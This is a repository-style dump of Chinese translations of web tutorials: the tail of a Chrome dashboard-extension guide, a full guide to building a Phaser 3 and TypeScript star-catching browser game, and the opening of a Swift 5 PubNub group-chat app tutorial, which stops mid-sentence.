12px;\n   width: 150px;\n   height: 20px;\n}\n\nbutton {\n   height: 30px;\n   width: 70px;\n   background: none; /* This removes the default background */\n   color: #313131;\n   border: 1px solid #313131;\n   border-radius: 50px; /* This gives our button rounded edges */\n   font-size: 12px;\n   cursor: pointer;\n}\n\nform {\n   padding-top: 20px;\n}\n```\n\n现在我们的设置菜单看起来好看一点了：\n\n![](https://cdn-images-1.medium.com/max/800/1*xk-CcvLMpxklx1MIvsD7xQ.png)\n\n但是让我们在用户没有点击 Settings 按钮时隐藏它们。我将通过将以下样式添加到 `.settings` 表单来实现，这将导致名称输入框从屏幕的一侧消失：\n\n```\ntransform: translateX(-100%);\n\ntransition: transform 1s;\n```\n\n现在让我们创建一个名为 `settings-open` 的样式类名，当用户单击 Settings 按钮时，我们将在 JavaScript 中对这个类名的添加和移除进行切换。当 `settings-open` 添加到 `settings` 表单时，它将不会应用任何变换；它只是在它本该出现的位置可见。\n\n```\n.settings-open.settings {\n   transform: none;\n}\n```\n\n让我们在 JavaScript 中使类名切换生效。我将创建一个名为 `openSettings()` 的函数，它将添加或移除类名 `settings-open`。为此，我将首先通过其 ID `\"settings\"` 获取元素，然后使用 `classList.toggle` 添加类名 `settings-open`。\n\n```\nfunction openSettings() {\n   document.getElementById(\"settings\").classList.toggle(\"settings-open\");\n}\n```\n\n现在我要添加一个事件监听器，只要点击 Settings 按钮，它就会触发该函数。\n\n```\ndocument.getElementById(\"settings-button\").addEventListener('click', openSettings)\n```\n\n当你点击 Settings 按钮，这将使你的设置表单显示或消失。\n\n### 创建个性化问候语\n\n接下来，让我们创建问候消息。我们将在 HTML 中创建一个空的 `h2` 标签，然后在 JavaScript 中使用 innerHTML 填充它。我将给 `h2` 标签一个 ID，以便我后面能访问到它，并将它放在一个名为 `greeting-container` 的 `div` 中方便使其居中。\n\n```\n<div class=\"greeting-container\">\n   <h2 class=\"greeting\" id=\"greeting\"></h2>\n</div>\n```\n\n现在，在 JavaScript 中，我将使用用户名称创建一个基本的问候语。首先，我将声明一个变量保存名称，现在它是空的，稍后添加。\n\n```\nvar userName;\n```\n\n即使 `userName` 不为空，如果我只是将 `userName` 放入 HTML 中的问候语中，如果我在另一个会话中打开它，Chrome 也不会使用相同的名称。为了确保 Chrome 记住我是谁，我将不得不使用本地存储。所以我将创建一个名为 `saveName()` 的函数。\n\n```\nfunction saveName() {\n    localStorage.setItem('receivedName', userName);\n}\n```\n\n`localStorage.setItem()` 函数有两个参数：第一个是我稍后用来访问信息的关键字，第二个是它需要记住的信息；在这里，需要记住的信息是 `userName`。稍后我将通过 `localStorage.getItem` 获取保存的信息，我将用它来更新 `userName` 变量。\n\n```\nvar userName = localStorage.getItem('receivedName');\n```\n\n在我们将其链接到表单中的事件监听器之前，如果我还没有告诉 Chrome 我的名字，我想告诉它如何称呼我。我将使用 if 语句执行此操作。\n\n```\nif (userName == null) {\n   userName = \"friend\";\n}\n```\n\n现在，让我们最终将 userName 变量关联到我们的表单。我想在函数内部执行此操作，以便每次更新名称时都可以调用该函数。我们将这个函数命名为 `changeName()`。\n\n```\nfunction changeName() {\n   userName = document.getElementById(\"name-input\").value;\n   saveName();\n}\n```\n\n我想在每次有人使用表单提交名称时调用此函数。我将使用一个事件监听器执行此操作，我将调用函数 `changeName()`，并在提交表单时阻止页面默认的刷新行为。\n\n```\ndocument.getElementById(\"name-form\").addEventListener('submit', function(e) {\n   e.preventDefault()\n   changeName();\n});\n```\n\n最后，让我们创建问候语。我也将它放在一个函数中，这样我就可以在刷新页面时和每当 `changeName()` 发生时调用它。这是函数内容：\n\n```\nfunction getGreeting() {\n   document.getElementById(\"greeting\").innerHTML  = `Hello, ${userName}. Enjoy your day!`;\n}\n\ngetGreeting()\n```\n\n现在我将在 `changeName()` 函数中调用 `getGreeting()`，收工！\n\n### 最后，设计你的页面\n\n现在是时候添加最后的润色了。在 CSS 中，我将使用 flexbox 居中我的标题，为标题设置更大的字体，并为 body 添加渐变背景。为了使按钮和 `h2` 标签同渐变背景形成对比，我会让它们变白。\n\n```\n.greeting-container {\n   display: flex;\n   justify-content: center;\n   align-content: center;\n}\n\n.greeting {\n   font-family: sans-serif;\n   font-size: 60px;\n   color: #fff;\n}\n\nbody {\n   background-color: #c670ca;\n   background-image: linear-gradient(45deg, #c670ca 0%, #25a5c8 52%, #20e275 90%);\n}\n\nhtml {\n   height: 100%;\n}\n```\n\n就是这样！你的页面将如下所示：\n\n![](https://cdn-images-1.medium.com/max/2000/1*QMqFDrey8Ylut2XLen8JRA.png)\n\n你自己的 Chrome 扩展程序！\n\n它的功能可能不是很多，但它是你创建和设计自己的 Chrome dashboards 的良好基础。如果你有任何疑问，请告诉我们，并随时在 Twitter 上与我联系，[@saralaughed](https://twitter.com/SaraLaughed)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-simple-game-in-the-browser-with-phaser-3-and-typescript.md",
    "content": "> * 原文地址：[How to build a simple game in the browser with Phaser 3 and TypeScript](https://medium.freecodecamp.org/how-to-build-a-simple-game-in-the-browser-with-phaser-3-and-typescript-bdc94719135)\n> * 原文作者：[Mariya Davydova](https://medium.com/@mariyadavydova)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-simple-game-in-the-browser-with-phaser-3-and-typescript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-simple-game-in-the-browser-with-phaser-3-and-typescript.md)\n> * 译者：\n> * 校对者：\n\n## 如何使用 Phaser 3 和 TypeScript 在浏览器中构建一个简单的游戏\n\n![](https://cdn-images-1.medium.com/max/10944/1*m16cMnrn60vR49N8Sj1liA.jpeg)\n\n照片由 [Phil Botha](https://unsplash.com/photos/a0TJ3hy-UD8?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 拍摄并发布于 [Unsplash](https://unsplash.com/collections/3995048/stars/e08862541511fcb17f0de3d4a555bff8?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n\n我是后端开发人员，而我的前端开发专业知识相对较弱。前一段时间我想找点乐子，在浏览器中制作游戏；我选择 Phaser 3 框架（它现在看起来非常流行）和 TypeScript 语言（因为我更喜欢静态类型语言而不是动态类型语言）。事实证明，你需要做一些无聊的事情才能使它正常工作，所以我写了这个教程来帮助像我这样的其他人更快地开始。\n\n## 准备开发环境\n\n### IDE\n\n选择你的开发环境。如果你愿意，你可以随时使用普通的旧记事本，但我建议你使用更有帮助的 IDE。至于我，我更喜欢在 Emacs 中开发拿手的项目，因此我安装了 [tide](https://github.com/ananthakumaran/tide) 并按照说明进行设置。\n\n### Node\n\n如果我们使用 JavaScript 进行开发，那么无需这些准备步骤就可以开始编码。但是，由于我们想要使用 TypeScript，我们必须设置基础架构以尽可能快地进行未来的开发。因此我们需要安装 node 和 npm 。\n\n在我编写本教程时，我使用 [node 10.13.0](https://nodejs.org/en/) 和 [npm 6.4.1](https://www.npmjs.com/)。请注意，前端世界中的版本更新速度非常快，因此你只需使用最新的稳定版本。我强烈建议你使用 [nvm](https://github.com/creationix/nvm) 而不是手动安装 node 和 npm，这会为你节省大量的时间和精力。\n\n## 搭建项目\n\n### 项目结构\n\n我们将使用 npm 来构建项目，因此要启动项目，请转到空文件夹并运行`npm init`。 npm 会问你关于项目属性的几个问题，然后创建一个`package.json` 文件。它看起来像这样：\n\n```json\n{\n  \"name\": \"Starfall\",\n  \"version\": \"0.1.0\",\n  \"description\": \"Starfall game (Phaser 3 + TypeScript)\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"author\": \"Mariya Davydova\",\n  \"license\": \"MIT\"\n}\n```\n\n### 软件包\n\n使用以下命令安装我们需要的软件包：\n\n```bash\nnpm install -D typescript webpack webpack-cli ts-loader phaser live-server\n```\n\n`-D` 选项（完整写法 `--save-dev`）使 npm 自动将这些包添加到 `package.json` 中的 devDependencies 列表中：\n\n```json\n\"devDependencies\": {\n   \"live-server\": \"^1.2.1\",\n   \"phaser\": \"^3.15.1\",\n   \"ts-loader\": \"^5.3.0\",\n   \"typescript\": \"^3.1.6\",\n   \"webpack\": \"^4.26.0\",\n   \"webpack-cli\": \"^3.1.2\"\n }\n```\n\n### Webpack\n\nWebpack 将运行 TypeScript 编译器，并将一堆生成的 JS 文件以及库收集到一个压缩过的 JS 中，以便我们可以将它包含在页面中。\n\n在 `package.json` 附近添加 `webpack.config.js`：\n\n```js\nconst path = require('path');\n\nmodule.exports = {\n  entry: './src/app.ts',\n  module: {\n    rules: [\n      {\n        test: /\\.tsx?$/,\n        use: 'ts-loader',\n        exclude: /node_modules/\n      }\n    ]\n  },\n  resolve: {\n    extensions: [ '.ts', '.tsx', '.js' ]\n  },\n  output: {\n    filename: 'app.js',\n    path: path.resolve(__dirname, 'dist')\n  },\n  mode: 'development'\n};\n```\n在这里我们看到 webpack 必须从 `src/app.ts` 开始获取源代码（我们将很快添加）并收集 `dist/app.js` 文件中的所有内容。\n\n### TypeScript\n\n我们还需要一个用于 TypeScript 编译器的小配置（`tsconfig.json`），其中我们描述了希望将源代码编译到哪个 JS 版本，以及在哪里找到这些源代码：\n\n```json\n{\n  \"compilerOptions\": {\n    \"target\": \"es5\"\n  },\n  \"include\": [\n    \"src/*\"\n  ]\n}\n```\n\n### TypeScript 定义\n\nTypeScript 是一种静态类型语言。因此，它需要编译的类型定义（.d.ts）。在编写本教程时，Phaser 3 的定义尚未作为 npm 包提供，因此您可能需要从官方存储库中 [下载它们](https://github.com/photonstorm/phaser3-docs/blob/master/typescript/phaser.d.ts)，并将文件放在项目的 `src` 子目录中。\n\n### Scripts\n\n我们几乎完成了项目的设置。此时你应该创建 `package.json` 、`webpack.config.js` 和 `tsconfig.json`，并添加 `src/phaser.d.ts`。在开始编写代码之前，我们需要做的最后一件事是解释 npm 与项目有什么关系。我们更新 `package.json` 的 `scripts` 部分，如下所示：\n\n```js\n\"scripts\": {\n  \"build\": \"webpack\",\n  \"start\": \"webpack --watch & live-server --port=8085\"\n}\n```\n\n执行 `npm build` 时，webpack 将根据配置构建 `app.js` 文件。当你运行 `npm start` 时，你不必费心去构建过程，只要对任何更新进行了保存操作，webpack 就会重建应用程序；而 [live-server](https://www.npmjs.com/package/live-server) 将在默认浏览器中重新加载它。该应用程序将托管在 [http://127.0.0.1:8085/](http://127.0.0.1:8085/) 。\n\n## 入门\n\n既然我们已经建立了基础设施（开始一个项目时我感到厌恶的环节），我们终于可以开始编码了。在这一步中，我们将做一件简单的事情：在浏览器窗口中绘制一个深蓝色矩形。使用一个大型的游戏开发框架是有点……嗯……太过分了。不过，我们还会在接下来的步骤中使用它。\n\n让我简要解释一下 Phaser 3 的主要概念。游戏是 `Phaser.Game` 类（或其后代）的一个实例。每个游戏都包含一个或多个 `Phaser.Game` 后代的实例。每个场景包含几个对象（静态或动态对象），并代表游戏的逻辑部分。例如，我们琐碎的游戏将有三个场景：欢迎屏幕，游戏本身和分数屏幕。\n\n让我们开始编码吧。\n\n首先，为游戏创建一个简单的 HTML 容器。创建一个 `index.html` 文件，其中包含以下代码：\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>Starfall</title>\n    <script src=\"dist/app.js\"></script>\n  </head>\n  <body>\n    <div id=\"game\"></div>\n  </body>\n</html>\n```\n这里只有两个基本部分：第一个是 `script` 标签，表示我们将在这里使用我们构建的文件；第二个是 `div` 标签，它将成为游戏容器。\n\n现在创建 `src/app.ts` 文件并添加以下代码：\n\n```typescript\nimport \"phaser\";\n\nconst config: GameConfig = {\n  title: \"Starfall\",\n  width: 800,\n  height: 600,\n  parent: \"game\"\n  backgroundColor: \"#18216D\"\n};\n\nexport class StarfallGame extends Phaser.Game {\n  constructor(config: GameConfig) {\n    super(config);\n  }\n}\n\nwindow.onload = () => {\n  var game = new StarfallGame(config);\n};\n```\n\n这段代码一目了然。GameConfig 有很多不同的属性，你可以查看 [这里](https://photonstorm.github.io/phaser3-docs/global.html#GameConfig) .\n\n现在你终于可以运行 `npm start` 了。如果在此步骤和之前的步骤中完成所有操作，您应该在浏览器中看到一些简单的内容：\n\n![是的，这是一个蓝屏。](https://cdn-images-1.medium.com/max/2000/1*1ecSa8Bs5zX6TQRq60qr6w.png)\n\n## 让星辰坠落吧\n\n我们创建了一个基本应用程序。现在是时候添加一个会发生某些事情的场景。我们的游戏很简单：星星会掉到地上，目标就是捕捉尽可能多的星星。\n\n为了实现这个目标，创建一个新文件 `gameScene.ts`，并添加以下代码：\n\n```typescript\nimport \"phaser\";\n\nexport class GameScene extends Phaser.Scene {\n\n  constructor() {\n    super({\n      key: \"GameScene\"\n    });\n  }\n\n  init(params): void {\n    // TODO\n  }\n\n  preload(): void {\n    // TODO\n  }\n  \n  create(): void {\n    // TODO\n  }\n\n  update(time): void {\n    // TODO\n  }\n};\n```\n这里的构造函数包含一个 key ，其他场景可以在其下调用此场景。\n\n你在这里看到四种方法的插桩。让我简要解释一下它们之间的区别：\n\n* `init([params])` 在场景开始时被调用。这个函数可以通过调用 `scene.start(key, [params])` 来接受从其他场景或游戏传递的参数。\n\n* `preload()` 在创建场景对象之前被调用，它包含加载资源；这些资源将被缓存，因此当重新启动场景时，不会重新加载它们。\n\n* `create()` 在加载资源时被调用，并且通常包含主要游戏对象（背景，玩家，障碍物，敌人等）的创建。\n\n* `update([time])` 在每个 tick 中被调用并包含场景的动态部分（移动，闪烁等）的所有内容。\n\n为了确保我们以后不会忘记这些，让我们在 `game.ts` 中快速添加以下行：\n\n```typescript\nimport \"phaser\";\nimport { GameScene } from \"./gameScene\";\n\nconst config: GameConfig = {\n  title: \"Starfall\",\n  width: 800,\n  height: 600,\n  parent: \"game\",\n  scene: [GameScene],\n  physics: {\n    default: \"arcade\",\n    arcade: {\n      debug: false\n    }\n  },\n  backgroundColor: \"#000033\"\n};\n...\n```\n\n我们的游戏现在知道游戏场景。如果游戏配置包含一个场景列表，然后第一个场景开始时，游戏开始。所有其他场景都被创建，但直到明确调用才开始。\n\n我们还在这里添加了 arcade physics（一种物理模型，[这里有一些例子](http://phaser.io/examples/v2/category/arcade-physics)），这里需要用它使我们的星星下降。\n\n现在我们可以把内容放在我们游戏场景的骨架上。\n\n首先，我们声明一些必要的属性和对象：\n\n```typescript\nexport class GameScene extends Phaser.Scene {\n  delta: number;\n  lastStarTime: number;\n  starsCaught: number;\n  starsFallen: number;\n  sand: Phaser.Physics.Arcade.StaticGroup;\n  info: Phaser.GameObjects.Text;\n...\n```\n\n然后，我们初始化数字：\n\n```typescript\n  init(/*params: any*/): void {\n      this.delta = 1000;\n      this.lastStarTime = 0;\n      this.starsCaught = 0;\n      this.starsFallen = 0;\n  }\n```\n\n现在，我们加载几个图片：\n\n```typescript\n  preload(): void {\n    this.load.setBaseURL(\n        \"https://raw.githubusercontent.com/mariyadavydova/\" +\n        \"starfall-phaser3-typescript/master/\");\n    this.load.image(\"star\", \"assets/star.png\");\n    this.load.image(\"sand\", \"assets/sand.jpg\");\n  }\n```\n\n在这之后，我们可以准备我们的静态组件。我们将创造地球组件，星星将落在那里，文字通知我们目前的分数：\n\n```typescript\n  create(): void {\n    this.sand = this.physics.add.staticGroup({\n      key: 'sand',\n      frameQuantity: 20\n    });\n    Phaser.Actions.PlaceOnLine(this.sand.getChildren(),\n      new Phaser.Geom.Line(20, 580, 820, 580));\n    this.sand.refresh();\n\n    this.info = this.add.text(10, 10, '',\n      { font: '24px Arial Bold', fill: '#FBFBAC' });\n  }\n```\n\nPhaser 3 中的一个组是一种创建一组您想要一起控制的对象的方法。有两种类型的对象：静态和动态。正如你可能猜到的那样，静态物体（地面，墙壁，各种障碍物）不会移动，动态物体（马里奥，舰船，导弹）可以移动。\n\n我们创建了一个静态的地面组。那些碎片沿着线放置。请注意，该线分为 20 个相等的部分（不是您可能预期的 19 个），并且地砖位于左端的每个部分，瓷砖中心位于该点（我希望这些能让你明白那些数字的意思）。我们还必须调用 `refresh()` 来更新组边界框，否则将根据默认位置（场景的左上角）检查冲突。\n\n如果您现在在浏览器中查看应用程序，您应该会看到如下内容：\n\n![蓝屏演变](https://cdn-images-1.medium.com/max/2000/1*GvOFAilcNMp0FnOTr_QqsA.png)\n\n我们终于达到了这个场景中最具活力的部分 —— `update()` 函数，其中星星落下。此函数在 60ms 内调用一次。我们希望每秒发出一颗新的流星。我们不会为此使用动态组，因为每个星的生命周期都很短：它会被用户点击或与地面碰撞而被摧毁。因此，在 `emitStar()` 函数中，我们创建一个新的星并添加两个事件的处理：`onClick()` 和`onCollision()`。\n\n```typescript\nupdate(time: number): void {\n    var diff: number = time - this.lastStarTime;\n    if (diff > this.delta) {\n      this.lastStarTime = time;\n      if (this.delta > 500) {\n        this.delta -= 20;\n      }\n      this.emitStar();\n    }\n    this.info.text =\n      this.starsCaught + \" caught - \" +\n      this.starsFallen + \" fallen (max 3)\";\n  }\n\nprivate onClick(star: Phaser.Physics.Arcade.Image): () => void {\n    return function () {\n      star.setTint(0x00ff00);\n      star.setVelocity(0, 0);\n      this.starsCaught += 1;\n      this.time.delayedCall(100, function (star) {\n        star.destroy();\n      }, [star], this);\n    }\n  }\n\nprivate onFall(star: Phaser.Physics.Arcade.Image): () => void {\n    return function () {\n      star.setTint(0xff0000);\n      this.starsFallen += 1;\n      this.time.delayedCall(100, function (star) {\n        star.destroy();\n      }, [star], this);\n    }\n  }\n\nprivate emitStar(): void {\n    var star: Phaser.Physics.Arcade.Image;\n    var x = Phaser.Math.Between(25, 775);\n    var y = 26;\n    star = this.physics.add.image(x, y, \"star\");\n\nstar.setDisplaySize(50, 50);\n    star.setVelocity(0, 200);\n    star.setInteractive();\n\nstar.on('pointerdown', this.onClick(star), this);\n    this.physics.add.collider(star, this.sand, \n      this.onFall(star), null, this);\n  }\n```\n\n最后，我们有了一个游戏！但是它还没有胜利条件。我们将在教程的最后部分添加它。\n\n![我不擅长捕捉星星……](https://cdn-images-1.medium.com/max/2000/1*tjX0ikNYl-UFJQnOkQIeOA.png)\n\n## 把它全部包装好\n\n通常，游戏由几个场景组成。即使游戏很简单，你也需要一个开始场景（至少包含 Play 按钮）和一个结束场景（显示游戏会话的结果，如得分或达到的最高等级）。让我们将这些场景添加到我们的应用程序中。\n\n在我们的例子中，它们将非常相似，因为我不想过多关注游戏的图形设计。毕竟，这是一个编程教程。\n\n欢迎场景将在 `welcomeScene.ts` 中包含以下代码。请注意，当用户点击此场景中的某个位置时，将显示游戏场景。\n\n```typescript\nimport \"phaser\";\n\nexport class WelcomeScene extends Phaser.Scene {\n  title: Phaser.GameObjects.Text;\n  hint: Phaser.GameObjects.Text;\n\nconstructor() {\n    super({\n      key: \"WelcomeScene\"\n    });\n  }\n\ncreate(): void {\n    var titleText: string = \"Starfall\";\n    this.title = this.add.text(150, 200, titleText,\n      { font: '128px Arial Bold', fill: '#FBFBAC' });\n\nvar hintText: string = \"Click to start\";\n    this.hint = this.add.text(300, 350, hintText,\n      { font: '24px Arial Bold', fill: '#FBFBAC' });\n\nthis.input.on('pointerdown', function (/*pointer*/) {\n      this.scene.start(\"GameScene\");\n    }, this);\n  }\n};\n```\n\n得分场景看起来几乎相同，点击（ `scoreScene.ts` ）后引导到欢迎场景。\n\n```typescript\nimport \"phaser\";\n\nexport class ScoreScene extends Phaser.Scene {\n  score: number;\n  result: Phaser.GameObjects.Text;\n  hint: Phaser.GameObjects.Text;\n\nconstructor() {\n    super({\n      key: \"ScoreScene\"\n    });\n  }\n\ninit(params: any): void {\n    this.score = params.starsCaught;\n  }\n\ncreate(): void {\n    var resultText: string = 'Your score is ' + this.score + '!';\n    this.result = this.add.text(200, 250, resultText,\n      { font: '48px Arial Bold', fill: '#FBFBAC' });\n\nvar hintText: string = \"Click to restart\";\n    this.hint = this.add.text(300, 350, hintText,\n      { font: '24px Arial Bold', fill: '#FBFBAC' });\n\nthis.input.on('pointerdown', function (/*pointer*/) {\n      this.scene.start(\"WelcomeScene\");\n    }, this);\n  }\n};\n```\n\n我们现在需要更新我们的主应用程序文件：添加这些场景并使 `WelcomeScene` 成为列表中的第一个（译者注：第一个位置会首先运行，类似于小程序的 page 列表）：\n\n```typescript\nimport \"phaser\";\nimport { WelcomeScene } from \"./welcomeScene\";\nimport { GameScene } from \"./gameScene\";\nimport { ScoreScene } from \"./scoreScene\";\n\nconst config: GameConfig = {\n  ...\n  scene: [WelcomeScene, GameScene, ScoreScene],\n  ...\n```\n\n你有没有发现遗漏了什么？是的，我们还没有从任何地方调用 `ScoreScene` ！当玩家错过第三颗星时（此时游戏结束），我们来调用它：\n\n```typescript\nprivate onFall(star: Phaser.Physics.Arcade.Image): () => void {\n    return function () {\n      star.setTint(0xff0000);\n      this.starsFallen += 1;\n      this.time.delayedCall(100, function (star) {\n        star.destroy();\n        if (this.starsFallen > 2) {\n          this.scene.start(\"ScoreScene\", \n            { starsCaught: this.starsCaught });\n        }\n      }, [star], this);\n    }\n  }\n```\n\n最后，我们的 Starfall 游戏看起来像一个真正的游戏了 - 它可以开始、结束，甚至有一个分数排行榜（你可以捕获多少颗星？）。\n\n我希望这个教程对你来说和我写的时候一样有用😀，任何反馈都非常感谢！\n\n你可以在 [这里](https://github.com/mariyadavydova/starfall-phaser3-typescript) 找到本教程的源代码。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-ios-mobile-group-chat-app-swift-5-pubnub.md",
    "content": "> * 原文地址：[How to Build an iOS Mobile Group Chat App with Swift 5](https://www.pubnub.com/blog/how-to-build-ios-mobile-group-chat-app-swift-5-pubnub/)\n> * 原文作者：[Samba Diallo](https://www.pubnub.com/blog/author/samba_diallo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-ios-mobile-group-chat-app-swift-5-pubnub.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-ios-mobile-group-chat-app-swift-5-pubnub.md)\n> * 译者：[LucaslEliane](https://github.com/lucasleliane)\n> * 校对者：[江五渣](http://jalan.space)，[Endone](https://github.com/Endone)\n\n# 使用 Swift 5 构建 iOS 移动端群聊 App\n\n无论是独立的[群聊应用](https://www.pubnub.com/solutions/chat/)，嵌入式的客户服务组件，或者是[约会应用里面的私人一对一聊天](https://dev-www.pubnub.com/solutions/chat/dating-apps/)，各种特征和规模的[移动端聊天](https://www.pubnub.com/solutions/chat/)无处不在。\n\n在本教程中，我们将向你展示如何使用 Swift 5 构建一个 iOS 移动聊天应用程序，其可以让任意数量的用户进行实时聊天。我们还将向你展示如何存储消息历史记录，因此当用户离开之后回来时，他们的消息仍然在应用程序中。\n\n为了实现上述的应用，我们使用了 PubNub 的一些关键特性：**[发布/订阅](https://www.pubnub.com/developers/tech/key-concepts/publish-subscribe/)**（实时消息）和 **[存储 & 回放](https://www.pubnub.com/developers/tech/key-concepts/message-caching-persistence/)（消息存储）**。\n\n* **发布**是每个客户端如何将自己的消息发送到全世界的方式，或者至少传递到自己想要发布的频道中。Pub/Sub 模式最简单的应用就是将你发送的每一条消息传递给订阅频道的任何人。发布需要一个 PubNub 连接的实例（我将在后面详细介绍），要发送的消息消息（类型为 String、NSNumber、Array 和 Dictionary），以及我们要将消息发送到的频道。[了解有关 Swift 发布的更多信息。](https://www.pubnub.com/docs/swift/api-reference-publish-and-subscribe#publish)\n* **订阅**是 PubNub 即时通信的另外一个部分。为了订阅，我们需要一个 PubNub 连接的实例和一个要订阅的频道。成功订阅后，我们会收到消息，但如果我们在消息到达的时候不进行处理，我们仍然看不到这些消息。[了解有关 Swift 订阅的更多信息](https://www.pubnub.com/docs/swift/api-reference-publish-and-subscribe#subscribe)。\n* **事件处理或监听**的更新在 PubNub 的生命周期中非常重要。Pub/Sub 虽然非常引人注目，但使用 PubNub 的关键是事件处理程序，它将[数据流网络](https://www.pubnub.com/products/global-data-stream-network/)连接到我们的控制台和应用程序。它们中的一个专门监听消息，而另一个负责寻找其他任何内容，包括订阅变动和错误。\n* **存储和回放**是这个伟大的功能集的另外一个关键点。如果存储和消息检索已导入你的工程，那么存储和播放对你的应用程序来说也是很好的补充。这个功能允许检索历史消息。应用程序消息的范围囊括了应用程序的整个生命周期。我们将设置 PubNub 帐户并获取 API 密钥，在 PubNub 管理控制台中设置存储的生存时间。[了解有关  Swift 中存储和回放的更多信息](https://www.pubnub.com/docs/swift/api-reference-storage-and-playback)。\n\n在看完这个教程之后，你会实现一个提供了聊天室服务的应用，并且这个应用可以是其他任何应用程序很好的基础或者补充。\n\n**[完整的 Swift 5 iOS 聊天应用程序可以在这里找到](https://github.com/SambaDialloB/PubNubChat)**。\n\n## 构建\n\n### PubNub\n\n如果你还没有 PubNub 账户，[可以在这里注册一个帐户](https://dashboard.pubnub.com/signup)。登录后，创建一个新的应用程序。单击它并创建一个新的密钥集或单击已有的演示版。 你现在应该看到发布和订阅密钥，我们可以通过其使用 PubNub API。\n\n在 keys 下，我们可以启用不同的选项！让我们在左下角附近启用存储和回放功能。我们现在可以决定你希望保留多长时间的消息。我选择了一天的保留时长并保存了更改。在保留设置下，还可以设置启用[从 PubNub 历史记录中删除](https://www.pubnub.com/docs/swift/api-reference-storage-and-playback#delete-messages-from-history)。\n\n### Xcode 应用构建\n\n打开 Xcode 并创建一个新项目，选择单视图应用程序，给他起一个名字，然后关闭项目。使用终端导航到项目文件夹，运行命令 `gem install cocoapods` 或运行命令 `gem update cocoapods` 来更新已有的安装。\n\n在终端中输入 `touch Podfile`，为你的应用创建 Podfile，然后使用 `open Podfile` 打开文件。\n\n将下面的代码写入到文件中，确保将“application-target-name”替换为项目的名称。\n\n```swift\nsource ‘https://github.com/CocoaPods/Specs.git'\n# 如果出现编译问题，可以选择取消下面的注释并且填写完整\n# project ‘<path to project relative to this Podfile>/<name of project without extension>’\n# workspace ‘MyPubNubProject’\nuse_frameworks!\n# 用你的项目名称替换下一行中的引号里面的内容\ntarget ‘application-target-name’ do\n# 下面的配置只适用于\n# 最小编译目标为\n# iOS 8 的项目\nplatform :ios, ‘8.0’ # (or ‘9.0’ or ‘10.0’)\npod “PubNub”, “~> 4”\n\n```\n\n之后在终端中执行命令 `pod install`。这个命令会帮你在项目中安装 PubNub。安装完成之后，双击 .xcworkspace 文件可以打开项目工程。\n\n## 设计应用程序\n\n在我们开始介绍所有逻辑之前，让我们先设计并构建应用程序的视图。首先我们从登录视图开始。\n\n通过高亮点击类声明中的名字，将 ViewController.swift 重命名为 ConnectVC.swift，并且进入 Editor -> Refactor -> Rename。\n\n当用户打开应用程序时，除了连接按钮外，我们希望他们有一个字段来输入他们想要连接的用户名和频道。将这些添加到你的第一个视图中。另外，我选择了 Topically 作为我们应用程序的标题，你也可以选择一个更酷的标题。\n\n然后，我通过 control + 拖动的方式，将我的 storyboard 上的项目拖动到我的 ConnectVC 文件，来为我的用户名和频道的 TextFields 设置 outlet。对按钮执行相同操作，但不要使用 outlet，而是创建 UIButton 的 action，以便在按下时执行操作。\n\n![使用 PubNub 的聊天应用程序的 Xcode Swift storyboard 截图](https://www.pubnub.com/wp-content/uploads/2019/04/xcode-storyboard-swift-chat-pubnub.png)\n\n接下来，让我们创建频道聊天视图。\n\n创建一个新的 Cocoa Touch 类并将其命名为 ChannelVC。在 storyboard 中创建一个新的视图控制器，并将该类设置为 ChannelVC。选择该视图时，请转到屏幕顶部，然后单击 Editor -> Embed In -> Navigation Controller。另一个视图现在应该在你的 storyboard 中。这是导航控制器，它允许用户在进入视图之间切换。\n\n将一个 UIBarButtonItem 添加到 ChannelVC 导航栏上的左侧位置，这是我们的“离开”按钮。按住 Control 键并将其拖到 